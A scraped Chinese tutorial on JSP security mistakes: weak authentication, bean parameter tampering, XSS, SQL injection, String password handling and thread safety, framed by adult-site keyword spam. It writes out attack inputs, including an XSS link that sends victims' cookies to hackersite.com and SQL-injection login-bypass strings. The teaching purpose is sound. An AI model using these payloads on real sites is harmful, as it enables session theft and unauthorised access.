亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > JSP > 正文

JSP開發的安全編程實例詳細解析

2024-09-05 00:20:21
字體:
來源:轉載
供稿:網友
java server page(jsp)作為建立動態網頁的技術正在不斷升溫。jsp和asp、php、工作機制不太一樣。一般說來,jsp頁面在執行時是編譯式,而不是解釋式的。首次調用jsp文件其實是執行一個編譯為servlet的過程。

當瀏覽器向服務器請求這一個jsp文件的時候,服務器將檢查自上次編譯后jsp文件是否有改變,如果沒有改變,就直接執行servlet,而不用再重新編譯,這樣,效率便得到了明顯提高。

今天我將和大家一起從腳本編程的角度看jsp的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內了。寫這篇文章的主要目的是給初學jsp編程的朋友們提個醒,從一開始就要培養安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失。

一、認證不嚴 低級失誤

user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:



if ((session.getvalue("username")==null)││(session.getvalue("userclass")==null)││(! session.getvalue("userclass").equals("系統管理員"))) {  response.sendredirect("err.jsp?id=14");  return; }


如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個文件。管理員提交http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51

就是查看、修改id為51的用戶的資料(管理員默認的用戶id為51)。

但是,如此重要的文件竟缺乏認證,普通用戶(包括游客)也直接提交上述請求也可以對其一覽無余(密碼也是明文存儲、顯示的)。modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數據更新的操作執行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面。

顯然,只鎖一扇門是遠遠不夠的,編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

二、守好javabean的入口

jsp組件技術的核心是被稱為bean的java組件。在程序中可把邏輯控制、數據庫操作放在javabeans組件中,然后在jsp文件中調用它,這樣可增加程序的清晰度及程序的可重用性。和傳統的asp或php頁面相比,jsp頁面是非常簡潔的,因為許多動態頁面處理過程可以封裝到javabean中。要改變javabean屬性,要用到“<jsp:setproperty>”標記。

下面的代碼是假想的某電子購物系統的源碼的一部分,這個文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結帳的。

<jsp:usebean id="mybasket" class="basketbean"> <jsp:setpropertyname="mybasket" property="*"/> <jsp:usebean> <html> <head><title>your basket</title></head> <body> <p> you have added the item <jsp::getproperty name="mybasket" property="newitem"/> to your basket. <br/> your total is $ <jsp::getproperty name="mybasket" property="balance"/> proceed to <a href="checkout.jsp">checkout</a>


注意到property="*"了嗎?這表明用戶在可見的jsp頁面中輸入的,或是直接通過query string提交的全部變量的值,將存儲到匹配的bean屬性中。一般,用戶是這樣提交請求的:

http://www.somesite.com /addtobasket.jsp?newitem=item0105342


但是不守規矩的用戶呢?他們可能會提交:

http://www.somesite.com /addtobasket.jsp?newitem=item0105342&balance=0


這樣,balance=0的信息就被在存儲到了javabean中了。當他們這時點擊“chekout”結賬的時候,費用就全免了。這與php中全局變量導致的安全問題如出一轍。由此可見:“property="*"”一定要慎用!

三、長盛不衰的跨站腳本

跨站腳本(cross site scripting)攻擊是指在遠程web頁面的html代碼中手插入惡意的javascript, vbscript, activex, html, 或flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設置,破壞用戶的數據。

跨站腳本攻擊在多數情況下不會對服務器和web程序的運行造成影響,但對客戶端的安全構成嚴重的威脅。舉個最簡單的例子。當我們提交:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script>


便能彈出包含自己cookie信息的對話框。而提交:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script>


就能重定向到網易。

由于在返回“name”變量的值給客戶端時,腳本沒有進行任何編碼或過濾惡意代碼,當用戶訪問嵌入惡意“name”變量數據鏈接時,會導致腳本代碼在用戶瀏覽器上執行,可能導致用戶隱私泄露等后果。比如下面的鏈接:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie</script>


xxx.xxx用于收集后邊跟的參數,而這里參數指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。在asp世界中,很多人已經把偷cookie的技術練得爐火純青了。在jsp里,讀取cookie也不是難事。當然,跨站腳本從來就不會局限于偷cookie這一項功能,相信大家都有一定了解,這里就不展開了。

對所有動態頁面的輸入和輸出都應進行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對所有不可信數據編碼是資源密集型的工作,會對 web 服務器產生性能方面的影響。常用的手段還是進行輸入數據的過濾,比如下面的代碼就把危險的字符進行替換:

<% string message = request.getparameter("message"); message = message.replace ('<','_'); message = message.replace ('>','_'); message = message.replace ('"','_'); message = message.replace ('/'','_'); message = message.replace ('%','_'); message = message.replace (';','_'); message = message.replace ('(','_'); message = message.replace (')','_'); message = message.replace ('&','_'); message = message.replace ('+','_'); %>


更積極的方式是利用正則表達式只允許輸入指定的字符:

public boolean isvalidinput(string str) {  if(str.matches("[a-z0-9]+")) return true;  else return false; }

四、時刻牢記sql注入

一般的編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全編程的習慣。著名的《jsp編程思想與實踐》就是這樣向初學者示范編寫帶數據庫的登錄系統的(數據庫為mysql
statement stmt = conn.createstatement(); string checkuser = "select * from login where username ='" + username + "' and userpassword = '" + userpassword + "'"; resultset rs = stmt.executequery(checkuser); if(rs.next())  response.sendredirect("successlogin.jsp"); else  response.sendredirect("failurelogin.jsp");


這樣使得盡信書的人長期使用這樣先天“帶洞”的登錄代碼。如果數據庫里存在一個名叫“jack”的用戶,那么在不知道密碼的情況下至少有下面幾種方法可以登錄:

用戶名:jack 密碼:' or 'a'='a 用戶名:jack 密碼:' or 1=1/* 用戶名:jack' or 1=1/* 密碼:(任意) lybbs(論壇)ver


server在loginout.java中是這樣對登錄提交的數據進行檢查的:

if(s.equals("")││ s1.equals("")) throw new userexception("用戶名或密碼不能空。"); if(s.indexof("'") != -1 ││ s.indexof("/"") != -1││ s.indexof(",") != -1 ││ s.indexof("http://") != -1) throw new userexception("用戶名不能包括 ' /" // , 等非法字符。"); if(s1.indexof("'") != -1 ││ s1.indexof("/"") != -1││ s1.indexof("*") != -1││ s1.indexof("http://") != -1) throw new userexception("密碼不能包括 ' /" // * 等非法字符。"); if(s.startswith(" ") ││ s1.startswith(" ")) throw new userexception("用戶名或密碼中不能用空格。");


但是我不清楚為什么他只對密碼而不對用戶名過濾星號。另外,正斜杠似乎也應該被列到“黑名單”中。我還是認為用正則表達式只允許輸入指定范圍內的字符來得干脆。

這里要提醒一句:不要以為可以憑借某些數據庫系統天生的“安全性”就可以有效地抵御所有的攻擊。pinkeyes的那篇《php注入實例》就給那些依賴php的配置文件中的“magic_quotes_gpc = on”的人上了一課。

五、string對象帶來的隱患

java平臺的確使安全編程更加方便了。java中無指針,這意味著java程序不再像c那樣能對地址空間中的任意內存位置尋址了。在jsp文件被編譯成.class文件時會被檢查安全性問題,例如當訪問超出數組大小的數組元素的嘗試將被拒絕,這在很大程度上避免了緩沖區溢出攻擊。

但是,string對象卻會給我們帶來一些安全上的隱患。如果密碼是存儲在 java string 對象中的,則直到對它進行垃圾收集或進程終止之前,密碼會一直駐留在內存中。即使進行了垃圾收集,它仍會存在于空閑內存堆中,直到重用該內存空間為止。

密碼 string 在內存中駐留得越久,遭到竊聽的危險性就越大。更糟的是,如果實際內存減少,則操作系統會將這個密碼 string 換頁調度到磁盤的交換空間,因此容易遭受磁盤塊竊聽攻擊。為了將這種泄密的可能性降至最低(但不是消除),您應該將密碼存儲在 char 數組中,并在使用后對其置零(string 是不可變的,無法對其置零)。

六、線程安全初探

“java能做的,jsp就能做”。與asp、php等腳本語言不一樣,jsp默認是以多線程方式執行的。以多線程方式執行可大大降低對系統的資源需求,提高系統的并發量及響應時間。線程在程序中是獨立的、并發的執行路徑,每個線程有它自己的堆棧、自己的程序計數器和自己的局部變量。

雖然多線程應用程序中的大多數操作都可以并行進行,但也有某些操作(如更新全局標志或處理共享文件)不能并行進行。如果沒做好線程的同步,在大并發量訪問時,不需要惡意用戶的“熱心參與”,問題也會出現。

最簡單的解決方案就是在相關的jsp文件中加上:

<%@ page isthreadsafe="false" %>


指令,使它以單線程方式執行,這時,所有客戶端的請求以串行方式執行。這樣會嚴重降低系統的性能。我們可以仍讓jsp文件以多線程方式執行,通過對函數上鎖來對線程進行同步。一個函數加上synchronized 關鍵字就獲得了一個鎖??聪旅娴氖纠?

public class myclass{ int a; public init() {//此方法可以多個線程同時調用  a = 0; } public synchronized void set() {//兩個線程不能同時調用此方法  if(a>5) {   a= a-5;  } } }


但是這樣仍然會對系統的性能有一定影響。一個更好的方案是采用局部變量代替實例變量。因為實例變量是在堆中分配的,被屬于該實例的所有線程共享,不是線程安全的,而局部變量在堆棧中分配,因為每個線程都有它自己的堆??臻g,所以這樣線程就是安全的了。比如凌云論壇中添加好友的代碼:

public void addfriend(int i, string s, string s1) throws dbconnectexception {  try  {   if……   else   {    dbconnect dbconnect = new dbconnect("insert into friend(authorid,friendname) values (?,?)");    dbconnect.setint(1, i);    dbconnect.setstring(2, s);    dbconnect.executeupdate();    dbconnect.close();    dbconnect = null;   }  }  catch(exception exception)  {   throw new dbconnectexception(exception.getmessage());  } }


下面是調用:

friendname=parameterutils.getstring(request,"friendname"); if(action.equals("adduser")){  forumfriend.addfriend(integer.parseint(cookieid),friendname,cookiename);  errorinfo=forumfriend.geterrorinfo(); }


如果采用的是實例變量,那么該實例變量屬于該實例的所有線程共享,就有可能出現用戶a傳遞了某個參數后他的線程轉為睡眠狀態,而參數被用戶b無意間修改,造成好友錯配的現象。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产精品三级久久久久久电影| 久久久久免费精品国产| 77777亚洲午夜久久多人| 国产精品久在线观看| 亚洲成人黄色在线| 91chinesevideo永久地址| 欧美剧在线观看| 亚洲a级在线播放观看| 97成人在线视频| 亚洲精品电影网| 亚洲图中文字幕| 亚洲欧洲国产伦综合| 欧美激情精品久久久久| 成人精品一区二区三区电影黑人| 欧美日韩人人澡狠狠躁视频| 欧美日韩福利电影| 国产+人+亚洲| 日韩免费在线播放| 日韩av色综合| 亚洲精品美女在线| 麻豆乱码国产一区二区三区| 久久久www成人免费精品张筱雨| 亚洲精品天天看| 九九久久久久99精品| 久久国产精品99国产精| 国产精品久久久久久久久免费看| 成人国产精品久久久久久亚洲| 欧美在线视频免费| 中文字幕日韩av综合精品| 国产成人欧美在线观看| 欧美性xxxx在线播放| 亚洲精品日韩丝袜精品| 欧美理论电影网| 97福利一区二区| 久久久久久久久中文字幕| 色无极亚洲影院| 久久久久久国产| 亚洲精品久久7777777| 91国内产香蕉| 亚洲精品xxxx| 亚洲电影成人av99爱色| 日韩在线观看免费高清| 久久精品人人爽| 亚洲人成在线观| 欧美大肥婆大肥bbbbb| 国产欧美日韩精品专区| 成人网在线免费观看| 国产日韩欧美电影在线观看| 97国产精品视频| 亚洲男人av电影| 亚洲国产精品热久久| 中文字幕欧美亚洲| 欧美成人黄色小视频| 这里只有精品丝袜| 成人午夜激情免费视频| 欧洲美女7788成人免费视频| 国产精品高清网站| 精品高清一区二区三区| 国产欧美日韩精品在线观看| 91香蕉嫩草神马影院在线观看| 国产精品美女www爽爽爽视频| 综合av色偷偷网| 青青草原成人在线视频| 亚洲无亚洲人成网站77777| 91视频九色网站| 欧美成在线视频| 最好看的2019的中文字幕视频| 国产欧美日韩中文字幕在线| 国产www精品| 欧美日韩一区二区三区| 国产欧美精品久久久| 欧美一级片久久久久久久| 精品五月天久久| 亚洲影影院av| 国产亚洲欧美另类中文| 亚洲国产精品女人久久久| 亚洲日韩中文字幕在线播放| 神马久久桃色视频| 日韩精品在线观看视频| 亚洲视频在线观看| 日韩a**中文字幕| 欧洲日韩成人av| 国产丝袜精品视频| 亚洲成年人在线| 一区二区三区黄色| 欧美整片在线观看| 欧美电影免费观看电视剧大全| 色婷婷综合成人| 亚洲va久久久噜噜噜久久天堂| 日韩av片永久免费网站| 丁香五六月婷婷久久激情| 日韩精品视频免费在线观看| 国产精品毛片a∨一区二区三区|国| 神马久久桃色视频| 日韩av中文在线| 欧美日韩国内自拍| 91九色视频导航| 国产欧美日韩综合精品| 成人精品久久久| 国产日韩欧美视频在线| 日韩精品亚洲元码| 国产午夜精品视频免费不卡69堂| 伦理中文字幕亚洲| 97免费视频在线| 一区二区欧美日韩视频| 自拍偷拍亚洲欧美| 日韩欧美成人精品| 亚洲**2019国产| 亚洲影视九九影院在线观看| 日韩av在线影院| 国产精品久久久久免费a∨| 国产视频亚洲精品| 欧美激情精品久久久久久变态| 97精品在线视频| 日韩欧美在线播放| 色诱女教师一区二区三区| 亚洲第一二三四五区| 日韩人体视频一二区| 日本不卡高字幕在线2019| 久久乐国产精品| 国产精品av免费在线观看| 日韩中文字幕不卡视频| 国产精品老女人精品视频| 亚洲视频在线观看| 亚洲成人a**站| 欧美激情中文字幕在线| 懂色av中文一区二区三区天美| 亚洲aⅴ男人的天堂在线观看| 精品久久久久久亚洲精品| 久久成人精品视频| 在线日韩av观看| 一本色道久久88亚洲综合88| 亚州国产精品久久久| 欧美中文字幕第一页| 欧美日韩国产一区中文午夜| 色偷偷噜噜噜亚洲男人的天堂| 91tv亚洲精品香蕉国产一区7ujn| 57pao国产精品一区| 亚洲精品国产精品国产自| 亚洲精品成a人在线观看| 国产日韩欧美中文在线播放| 91精品免费看| 亚洲free性xxxx护士白浆| 亚洲精选一区二区| 欧美性极品少妇精品网站| 在线观看视频亚洲| 91精品国产99久久久久久| 国产精品国产福利国产秒拍| 欧美精品在线播放| 国产手机视频精品| 亚洲女人天堂网| 91精品国产91久久久久久久久| 欧美一乱一性一交一视频| 亚洲一区二区久久久久久| 一本色道久久88精品综合| 69视频在线播放| 成人在线小视频| 久久人人爽人人| 国产精品欧美一区二区| 久久99亚洲热视| 欧美性xxxxx极品娇小| 日韩a**站在线观看| 欧美视频中文字幕在线| 亚洲成人激情在线|